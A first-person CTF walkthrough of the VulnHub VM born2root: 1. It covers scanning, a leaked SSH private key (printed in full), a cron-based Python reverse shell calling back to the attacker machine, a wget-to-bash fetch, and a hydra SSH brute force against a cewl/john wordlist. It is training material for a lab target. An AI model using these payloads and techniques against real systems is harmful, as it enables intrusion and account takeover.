Name : born2root: 1 Difficulty : Intermediate Type : boot2root Source : VulnHub URL : https://www.vulnhub.com/entry/born2root-1,197/ Entry : 13 / 30
Welcome to the walkthrough for born2root: 1, a boot2root CTF found on VulnHub. This is the thirteenth VM in my VulnHub Challenge! This is an intermediate machine, so roughly in-line with what I would expect with an OSCP-like machine.
There is a single flag in the
/root directory that needs to be read read, so a fairly straightforward challenge.
I’m using VirtualBox to host Kali and the born2root: 1 OVA image, with both VMs running in a NAT network to keep them separate from the rest of my environment. VMWare Player is not compatible with this machinem hence the reason I’m switching back to Virtualbox.
netdiscover to search for the IP address of the born2root: 1 VM:
root@kali:~# netdiscover -r 10.0.2.0/24 Currently scanning: Finished! | Screen View: Unique Hosts 4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor 10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor 10.0.2.3 08:00:27:6b:0b:32 1 60 PCS Systemtechnik GmbH 10.0.2.6 08:00:27:7e:5e:47 1 60 PCS Systemtechnik GmbH
10.0.2.6 are our VMs. Let me do a quick
nmap scan to see which one is more likely.
root@kali:~# nmap 10.0.2.3 10.0.2.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 15:52 EDT Nmap scan report for 10.0.2.3 Host is up (0.00011s latency). All 1000 scanned ports on 10.0.2.3 are filtered MAC Address: 08:00:27:6B:0B:32 (Oracle VirtualBox virtual NIC) Nmap scan report for 10.0.2.6 Host is up (0.00017s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC) Nmap done: 2 IP addresses (2 hosts up) scanned in 0.30 seconds
10.0.2.6 is our target.
I’ll start with a full TCP port scan with
nmap, then follow it up with a full UDP scan using
unicornscan just to make sure I don’t miss anything. Once I know what ports are up, I’ll do a deeper scan with
nmap on any open ports.
root@kali:~# nmap -sS -p- 10.0.2.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 15:57 EDT Nmap scan report for 10.0.2.6 Host is up (0.022s latency). Not shown: 65531 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 44290/tcp open unknown MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.44 seconds
Next up, I’ll use
unicornscan to do the UDP scan. I could use
nmap, but I find
unicornscan to be a lot faster.
root@kali:~# unicornscan -mU -Iv 10.0.2.6:a adding 10.0.2.6/32 mode `UDPscan' ports `a' pps 300 using interface(s) eth0 scaning 1.00e+00 total hosts with 6.55e+04 total packets, should take a little longer than 3 Minutes, 45 Seconds UDP open 10.0.2.3:67 ttl 255 UDP open 10.0.2.6:111 ttl 64 sender statistics 244.8 pps with 65545 packets sent total listener statistics 4 packets recieved 0 packets droped and 0 interface drops UDP open bootps[ 67] from 10.0.2.3 ttl 255 UDP open sunrpc[ 111] from 10.0.2.6 ttl 64
Okay, so we have a few ports open on TCP and UDP, so let’s do a deeper scan on those ports with
root@kali:~# nmap -sT -sU -sC -sV -p U:67,111,T:22,80,111,44290 10.0.2.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 16:34 EDT Nmap scan report for 10.0.2.6 Host is up (0.00047s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) | ssh-hostkey: | 1024 3d:6f:40:88:76:6a:1d:a1:fd:91:0f:dc:86:b7:81:13 (DSA) | 2048 eb:29:c0:cb:eb:9a:0b:52:e7:9c:c4:a6:67:dc:33:e1 (RSA) | 256 d4:02:99:b0:e7:7d:40:18:64:df:3b:28:5b:9e:f9:07 (ECDSA) |_ 256 e9:c4:0c:6d:4b:15:4a:58:4f:69:cd:df:13:76:32:4e (ED25519) 80/tcp open http Apache httpd 2.4.10 ((Debian)) | http-robots.txt: 2 disallowed entries |_/wordpress-blog /files |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Secretsec Company 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100024 1 44290/tcp status |_ 100024 1 48546/udp status 44290/tcp open status 1 (RPC #100024) 67/udp closed dhcps 111/udp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100024 1 44290/tcp status |_ 100024 1 48546/udp status MAC Address: 08:00:27:7E:5E:47 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.95 seconds
The main things jumping out at me are SSH and HTTP. Let’s try browsing to the website and see what’s up.
Pretty generic. From the
nmap scan above, we see that the
robots.txt file has two entries:
Let’s look at each of those:
Heh. A troll face. How original. Looking at the source for all of these pages, nothing jumps out at me. There is a commented out HTML section on the homepage, but it’s for a floating menu that links to anchors on the same page (which don’t exist), so that’s a bit of a red herring that I choose to ignore for now.
I think it’s time to try using
gobuster on this site to see if there are any other hidden pages/directories:
root@kali:~# gobuster dir -f -x html -t 50 -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.0.2.6/ =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.0.2.6/ [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: html [+] Add Slash: true [+] Timeout: 10s =============================================================== 2019/07/24 21:20:28 Starting gobuster =============================================================== /.htaccess/ (Status: 403) /.htaccess.html (Status: 403) /.hta/ (Status: 403) /.hta.html (Status: 403) /.htpasswd/ (Status: 403) /.htpasswd.html (Status: 403) /files/ (Status: 200) /icons/ (Status: 200) /manual/ (Status: 200) /index.html (Status: 200) /server-status/ (Status: 403) =============================================================== 2019/07/24 21:20:30 Finished ===============================================================
Breaking down the options for
dir: work in directory busting mode, i.e. find files/directories of interest.
-f: adds a trailing forward-slash (
/) to the URL. Useful for finding directories.
-x: looks for files with these extensions (comma-separated list). Sticking with
htmlsince there’s no indication of PHP on this VM.
-t: the number of threads to use (default is 10).
-w: the wordlist to use when brute forcing.
-u: the URL to start from.
gobuster output, we’re not seeing a whole lot. But you know what? We’ll check each finding anyway, since you never know what you may find. I’ll only focus no the links that returned HTTP 200, and ignore the ones I’ve already looked at. That gives me two URLs to check,
http://10.0.2.6/icons/. I’ll browse to both using Firefox and see what’s up.
Okay, so the
/manual/ URL looks pretty generic. Let’s try
VDSoyuAXiO.txt file is definitely out of place! Let’s pull it down using
curl and see what it is. I like using
curl instead of a browser here, since I don’t have to worry about the browser potentially hiding anything or interpreting any characters.
root@kali:~# curl http://10.0.2.6/icons/VDSoyuAXiO.txt -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAoNgGGOyEpn/txphuS2pDA1i2nvRxn6s8DO58QcSsY+/Nm6wC tprVUPb+fmkKvOf5ntACY7c/5fM4y83+UWPG0l90WrjdaTCPaGAHjEpZYKt0lEc0 FiQkXTvJS4faYHNah/mEvhldgTc59jeX4di0f660mJjF31SA9UgMLQReKd5GKtUx 5m+sQq6L+VyA2/6GD/T3qx35AT4argdk1NZ9ONmj1ZcIp0evVJvUul34zuJZ5mDv DZuLRR6QpcMLJRGEFZ4qwkMZn7NavEmfX1Yka6mu9iwxkY6iT45YA1C4p7NEi5yI /P6kDxMfCVELAUaU8fcPolkZ6xLdS6yyThZHHwIDAQABAoIBAAZ+clCTTA/E3n7E LL/SvH3oGQd16xh9O2FyR4YIQMWQKwb7/OgOfEpWjpPf/dT+sK9eypnoDiZkmYhw +rGii6Z2wCXhjN7wXPnj1qotXkpu4bgS3+F8+BLjlQ79ny2Busf+pQNf1syexDJS sEkoDLGTBiubD3Ii4UoF7KfsozihdmQY5qud2c4iE0ioayo2m9XIDreJEB20Q5Ta lV0G03unv/v7OK3g8dAQHrBR9MXuYiorcwxLAe+Gm1h4XanMKDYM5/jW4JO2ITAn kPducC9chbM4NqB3ryNCD4YEgx8zWGDt0wjgyfnsF4fiYEI6tqAwWoB0tdqJFXAy FlQJfYECgYEAz1bFCpGBCApF1k/oaQAyy5tir5NQpttCc0L2U1kiJWNmJSHk/tTX 4+ly0CBUzDkkedY1tVYK7TuH7/tOjh8M1BLa+g+Csb/OWLuMKmpoqyaejmoKkLnB WVGkcdIulfsW7DWVMS/zA8ixJpt7bvY7Y142gkurxqjLMz5s/xT9geECgYEAxpfC fGvogWRYUY07OLE/b7oMVOdBQsmlnaKVybuKf3RjeCYhbiRSzKz05NM/1Cqf359l Wdznq4fkIvr6khliuj8GuCwv6wKn9+nViS18s1bG6Z5UJYSRJRpviCS+9BGShG1s KOf1fAWNwRcn1UKtdQVvaLBX9kIwcmTBrl+e6P8CgYAtz24Zt6xaqmpjv6QKDxEq C1rykAnx0+AKt3DVWYxB1oRrD+IYq85HfPzxHzOdK8LzaHDVb/1aDR0r2MqyfAnJ kaDwPx0RSN++mzGM7ZXSuuWtcaCD+YbOxUsgGuBQIvodlnkwNPfsjhsV/KR5D85v VhGVGEML0Z+T4ucSNQEOAQKBgQCHedfvUR3Xx0CIwbP4xNHlwiHPecMHcNBObS+J 4ypkMF37BOghXx4tCoA16fbNIhbWUsKtPwm79oQnaNeu+ypiq8RFt78orzMu6JIH dsRvA2/Gx3/X6Eur6BDV61to3OP6+zqh3TuWU6OUadt+nHIANqj93e7jy9uI7jtC XXDmuQKBgHZAE6GTq47k4sbFbWqldS79yhjjLloj0VUhValZyAP6XV8JTiAg9CYR 2o1pyGm7j7wfhIZNBP/wwJSC2/NLV6rQeH7Zj8nFv69RcRX56LrQZjFAWWsa/C43 rlJ7dOFH7OFQbGp51ub88M1VOiXR6/fU8OMOkXfi1KkETj/xp6t+ -----END RSA PRIVATE KEY-----
Oh my! We have ourselves a nice private key! Great, but who’s key is it? Well, if we go back to the homepage for the site, there was a list of names in the About Us section, as well as an email address under Contact Us. I’d hazard a guess that the usernames for each person follow the same format as the email address, which means we have 3 possible users:
I’ll download the private key using
wget, pipe it through a few commands to skip the first and last lines of the file (they’re blank), change the file’s permissions to make SSH happy, and then finally use to to try to login with the three users to see who works! Phew!
root@kali:~# wget -qO - http://10.0.2.6/icons/VDSoyuAXiO.txt | tail -n +2 | head -n -1 > private.pem root@kali:~# chmod 600 private.pem root@kali:~# ssh -i private.pem email@example.com The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Fri Jun 9 20:31:29 2017 from 192.168.0.42 READY TO ACCESS THE SECRET LAB ? secret password : password WELCOME ! martin@debian:~$
Cool, so I’m in as
martin! I did try both
jimmy as well, but both prompted me for a password, so the key didn’t belong to them.
The prompt for the password to access the secret lab is a bit odd, and I just guessed at the password being
password. I’m curious if that was a lucky guess or not, so I’ll take a look at the
.bashrc file for
martin@debian:~$ cat .bashrc # ~/.bashrc: executed by bash(1) for non-login shells. # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) # for examples # If not running interactively, don't do anything case $- in *i*) ;; *) return;; esac ... <snip> ... # enable programmable completion features (you don't need to enable # this, if it's already enabled in /etc/bash.bashrc and /etc/profile # sources /etc/bash.bashrc). if ! shopt -oq posix; then if [ -f /usr/share/bash-completion/bash_completion ]; then . /usr/share/bash-completion/bash_completion elif [ -f /etc/bash_completion ]; then . /etc/bash_completion fi fi /var/tmp/login.py
Ah, there it is. The last line in
martin calls a Python script. Let’s see what’s in it:
martin@debian:~$ cat /var/tmp/login.py #!/usr/bin/python import os print("") print("READY TO ACCESS THE SECRET LAB ? ") print("") password = raw_input("secret password : ") if (password) == "secretsec" or "secretlab" : print("WELCOME ! ") else: print("GET OUT ! ") os.system("pkill -u 'martin'")
Well then, it seems that our “SecretSec” compatriots can’t program very well! The problem is in the
if statement, and the way that Python handles Boolean values. The statement reads:
if (password) == "secretsec" or "secretlab" :
But this will always evaluate to
true. Let me show you what it looks like with a few more parenthesis:
if ((password) == "secretsec") or ("secretlab") :
So the first part of the
if statement is checking to see if the password I provided is
secretsec, but the second part is just checking whether or not
secretlab is true or not. According to the Python documentation1:
In the context of Boolean operations, and also when expressions are used by control flow statements, the following values are interpreted as false: False, None, numeric zero of all types, and empty strings and containers (including strings, tuples, lists, dictionaries, sets and frozensets). All other values are interpreted as true.
So in other words, because
"secretlab" is a non-empty string, it will evaluate to true, which means the entire if statement will be true. Remember, anything OR
true will always result in
true. Oh SecretSec, perhaps you’re good at testing, but you are not good at coding!
Enumeration - Thwarted!
Let me run the
LinEnum.sh script and see what’s going on. I’ll setup a
SimpleHTTPServer on my Kali machine, then use
wget to download it on the target machine, pipe it to
bash, then review the output.
martin@debian:~$ wget -qO - http://10.0.2.4/LinEnum.sh | bash bash: ligne 1: HAHA : commande introuvable martin@debian:~$
Wait, what?! It seems like I cannot use
curl gives me the same error. Let me do some digging:
martin@debian:~$ which wget /usr/bin/wget martin@debian:~$ file /usr/bin/wget /usr/bin/wget: Python script, ASCII text executable martin@debian:~$ cat /usr/bin/wget #!/usr/bin/python print(" HAHA ... Nope ") martin@debian:~$ cat /usr/bin/curl #!/usr/bin/python print(" HAHA ... Nope ") martin@debian:~$
Just when I thought they couldn’t code, SecretSec showed me up! That’s fine, I’ll use
scp to transfer the file to the target and run it manually.
Enumeration - Redux
root@kali:/opt/LinEnum# scp -i ~/private.pem LinEnum.sh firstname.lastname@example.org:/tmp LinEnum.sh 100% 45KB 10.0MB/s 00:00
When I review the output of
LinEnum.sh, I generally look for a few key things:
- What users are available?
- Do any of them have
- Are there any SUID/SGID binaries?
- What files are accessible/writeable to my user that may be interesting?
Scanning through the output on the
born2root machine, I find the following:
- The system is running Debian 8 (jessie), Kernel 3.16.0-4-586
martinare all valid users, and I have access to
/home/hadi/has some interesting files in it that may be worth exploring; looks to be buffer overflow testing
Let’s see what’s available in
martin@debian:~$ cd /home/hadi martin@debian:/home/hadi$ ls -al total 60 drwxr-xr-x 3 hadi hadi 4096 juin 5 2017 . drwxr-xr-x 5 root root 4096 juin 9 2017 .. -rw-r--r-- 1 hadi hadi 220 avril 26 2017 .bash_logout -rw-r--r-- 1 hadi hadi 3515 avril 26 2017 .bashrc -rwxr-xr-x 1 root root 5368 mai 10 2017 buff -rw-r--r-- 1 root root 1091 mai 10 2017 buff.c -rw-r--r-- 1 root root 148 juin 5 2017 example.c -rw------- 1 root root 2073 juin 5 2017 .gdb_history -rwxr-xr-x 1 root root 6000 juin 5 2017 overflow -rw-r--r-- 1 root root 19 mai 10 2017 peda-session-buff.txt -rw-r--r-- 1 root root 5 juin 5 2017 peda-session-overflow.txt -rw-r--r-- 1 hadi hadi 675 avril 26 2017 .profile drwxr-xr-x 2 hadi hadi 4096 mai 1 2017 .ssh martin@debian:/home/hadi$
So after spending a few minutes poking around this area, it doesn’t appear that there’s anything of value here. I go back for a second look at the output of
LinEnum.sh and something catches my eye:
... <snip> [-] Crontab contents: # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) */5 * * * * jimmy python /tmp/sekurity.py ... <snip>
There’s an entry for a
/tmp/sekurity.py file, but I checked and no such file exists. Well then, we have an opportunity! Let’s go checkout the reverse shell cheat sheet! There’s an entry for Python, so I’ll whip up a shell that I can use to call back to a
nc listener on port
9001 on my attacking machine.
#!/usr/bin/python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.0.2.4",9001)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
nc listener setup, I wait for a connection:
root@kali:~# nc -nvlp 9001 listening on [any] 9001 ... connect to [10.0.2.4] from (UNKNOWN) [10.0.2.6] 36114 /bin/sh: 0: can't access tty; job control turned off $ ls networker $ whoami jimmy $ pwd /home/jimmy $ ls -al total 32 drwx------ 2 jimmy jimmy 4096 juin 9 2017 . drwxr-xr-x 5 root root 4096 juin 9 2017 .. -rw-r--r-- 1 root root 16 juin 9 2017 .bash_history -rw-r--r-- 1 jimmy jimmy 220 juin 8 2017 .bash_logout -rw-r--r-- 1 jimmy jimmy 3515 juin 8 2017 .bashrc -rwsrwxrwx 1 root root 7496 juin 9 2017 networker -rw-r--r-- 1 jimmy jimmy 675 juin 8 2017 .profile $
Cool, we’re logged in as
jimmy and there is a file called
networker that’s owned by root and also has the SUID bit set! That’s likely our ticket into escalating our privileges. Let me see what type of file it is:
$ file networker networker: setuid ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bacc02fa5747f07430f55e0d5e70d4078800c9f5, not stripped
So it’s an ELF binary. Let’s try executing and see what it does:
$ ./networker eth0 Link encap:Ethernet HWaddr 08:00:27:7e:5e:47 inet adr:10.0.2.6 Bcast:10.0.2.255 Masque:255.255.255.0 adr inet6: fe80::a00:27ff:fe7e:5e47/64 Scope:Lien UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:6245 errors:0 dropped:0 overruns:0 frame:0 TX packets:4353 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 lg file transmission:1000 RX bytes:604193 (590.0 KiB) TX bytes:775700 (757.5 KiB) Interruption:9 Adresse de base:0xd020 lo Link encap:Boucle locale inet adr:127.0.0.1 Masque:255.0.0.0 adr inet6: ::1/128 Scope:Hôte UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:8 errors:0 dropped:0 overruns:0 frame:0 TX packets:8 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 lg file transmission:0 RX bytes:672 (672.0 B) TX bytes:672 (672.0 B) PING localhost (127.0.0.1) 56(84) bytes of data. 64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.014 ms --- localhost ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.014/0.014/0.014/0.000 ms echo linux tool version 5 *** Networker 2.0 *** Done $
The Rabbit Hole
networker binary is a lie. There isn’t anything in it that is helpful. It doesn’t take any input, it doesn’t open any ports, and the paths are all hard-coded. I’m sure there’s a way to edit the binary to add our own custom shell code to it, but I don’t have my OSCE yet and this is supposed to be an intermediate difficulty VM, so I’m not about go try and deal with that.
Instead, I’m going to go back to my OSCP training and try some good old fashioned brute forcing on our last user, `hadi1.
Password Fun With
A quick recap:
- We have logged in to two of the three accounts
- There are false flags and rabbit holes all over the place
- We have a website that does not have any vulnerabilities
- We have an SSH server that we can use to log in as a single user with a private SSH key, but that’s it
So we’ve logged in as
martin and managed to get a reverse shell to
jimmy. There was an executable for
jimmy that lead nowhere. The
/home/hadi directory had some other entries in it, but nothing of value. One thing that did stick out to me was the fact that the
/home/hadi/gdb_history file was owned by
root, so I suspect we can use
hadi to get to
root and finish this beast off. The question is how?
For this one I’m going to turn to what we have, which is a website. I’ll use a few tricks to generate a custom wordlist for brute forcing. Since I want to use
hydra for brute forcing SSH, I don’t want a huge wordlist like
rockyou.txt or I’ll be waiting for a while. Instead, I’ll do two things:
- Generate a seed wordlist using
- Mutate that wordlist using
johnto get some new combinations
Let’s start with the first step, namely generating a wordlist with
root@kali:~# cewl -w secretsec.txt http://10.0.2.6 CeWL 22.214.171.124 (Arkanoid) Robin Wood (email@example.com) (https://digi.ninja/) root@kali:~#
Now we have a nice basic list for the site, let’s mutate it using
john. Before I do that, I want to add a few extra rules to
john. I edit the
/etc/john/john.conf file and add the following to the
... <snip> Lowercase/capitalize pure alphabetic words of reasonable length and convert: # crack -> cracked, crack -> cracking -[:c] <* >2 !?A \p1[lc] M [PI] Q # Try the second half of split passwords -s x** -s-c x** M l Q # Add one number to the end of each password $[0-9] # Add two numbers to the end of each password $[0-9]$[0-9] # Add three numbers to the end of each password $[0-9]$[0-9]$[0-9] # Add four numbers to the end of each password #$[0-9]$[0-9]$[0-9]$[0-9] ... <snip>
To be clear, I’ve added the rules to add extra digits to the end of the passwords, because people tend to include digits. I go up to 3 digits here just to keep things somewhat sane. With 4 digits I’m adding another 10k possibilities, which is rather excessive for an SSH brute force.
For more information on using
john to mutate wordlists, take a look at this article from Rapid 7 which explains this process fairly well. I just added my rules to the main
Wordlists ruleset because I’m lazy.
secretsec.txt file has been updated, it’s time to use
john to mutate it:
root@kali:~# john --wordlist=secretsec.txt --rules --stdout > secretsec-mutated.txt Using default input encoding: UTF-8 Press 'q' or Ctrl-C to abort, almost any other key for status 70763p 0:00:00:00 100.00% (2019-10-03 15:51) 1769Kp/s jimmy999
To give you an idea of how many permutations this created, we started with 61 words in
secretsec.txt and 70763 words in
Now I’m not going to lie, that’s a bloody huge file and it will take me days to go through it with
hydra. Let me take a different approach and try something simple. I’ll go with the standard passwords for CTFs, namely the username and any other passwords I may have found. That would be
secretlab from the Python script that ran when
martin first logged on, plus
password. There’s also the filename that had the private key for
martin in it,
VDSoyuAXiO. I did test that one separately with all three accounts, but no luck. I guess we’ll have to go with our brute forcing plan once we generate the mutated word list.
root@kali:~# john --wordlist=passwords.txt --rules --stdout > passwords-mutated.txt Using default input encoding: UTF-8 Press 'q' or Ctrl-C to abort, almost any other key for status 4638p 0:00:00:00 100.00% (2019-10-03 19:07) 77300p/s password999 root@kali:~# echo "VDSoyuAXiO" >> passwords-mutated.txt root@kali:~# wc -l passwords-mutated.txt 4638 passwords-mutated.txt
Okay, just over 4.6k words, which is going to take some time but at least it won’t span days. It’s still going to take a while, especially since
hydra doesn’t recommend using more than 4 threads at a time for SSH, but we’ll let it run.
root@kali:~# hydra -t 4 -l hadi -P passwords-mutated.txt 10.0.2.6 ssh Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal pu rposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-03 19:08:53 [DATA] max 4 tasks per 1 server, overall 4 tasks, 4638 login tries (l:1/p:4638), ~1160 tries per task [DATA] attacking ssh://10.0.2.6:22/ [STATUS] 44.00 tries/min, 44 tries in 00:01h, 4594 to do in 01:45h, 4 active [STATUS] 34.67 tries/min, 104 tries in 00:03h, 4534 to do in 02:11h, 4 active [STATUS] 29.14 tries/min, 204 tries in 00:07h, 4434 to do in 02:33h, 4 active [STATUS] 29.60 tries/min, 444 tries in 00:15h, 4194 to do in 02:22h, 4 active [STATUS] 28.61 tries/min, 887 tries in 00:31h, 3751 to do in 02:12h, 4 active [ssh] host: 10.0.2.6 login: hadi password: hadi123 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 1 final worker threads did not complete until end. [ERROR] 1 target did not resolve or could not be connected [ERROR] 0 targets did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-03 19:48:26
Okay, so that wasn’t as bad as I was expecting. A little under an hour, but still quite a while to wait for a brute force attack. I shutter to think how long it would have taken if I had used by original
Escalation and Flag
Let’s try SSHing to the target as
hadi with the password
root@kali:~# ssh firstname.lastname@example.org email@example.com's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jun 7 20:53:17 2017 hadi@debian:~$ su - Mot de passe : root@debian:~# pwd /root root@debian:~# ls flag.txt
And taking a look at the flag:
root@debian:~# cat flag.txt ,-----. ,---. ,------. ,--. | |) /_ ,---. ,--.--.,--,--, '.-. \| .--. ' ,---. ,---. ,-' '-. | .-. \| .-. || .--'| \ .-' .'| '--'.'| .-. || .-. |'-. .-' | '--' /' '-' '| | | || |/ '-.| |\ \ ' '-' '' '-' ' | | `------' `---' `--' `--''--''-----'`--' '--' `---' `---' `--' Congratulations ! you pwned completly Born2root's CTF . I hope you enjoyed it and you have made Tea's overdose or coffee's overdose :p I have blocked some easy ways to complete the CTF ( Kernel Exploit ... ) for give you more fun and more knownledge ... Pwning the box with a linux binary misconfiguration is more fun than with a Kernel Exploit ! Enumeration is The Key . Give me feedback :[FB] Hadi Mene
So the kernel exploit I was thinking of earlier wouldn’t have worked. That’s fine, I wasn’t planning on using it but I’m also glad I didn’t waste my time. Enumeration may have been the key, but I had no reason to believe that
hadi123 was going to be the password. Lots of dead ends on this CTF which made it more annoying than anything. But there you have it, another CTF complete.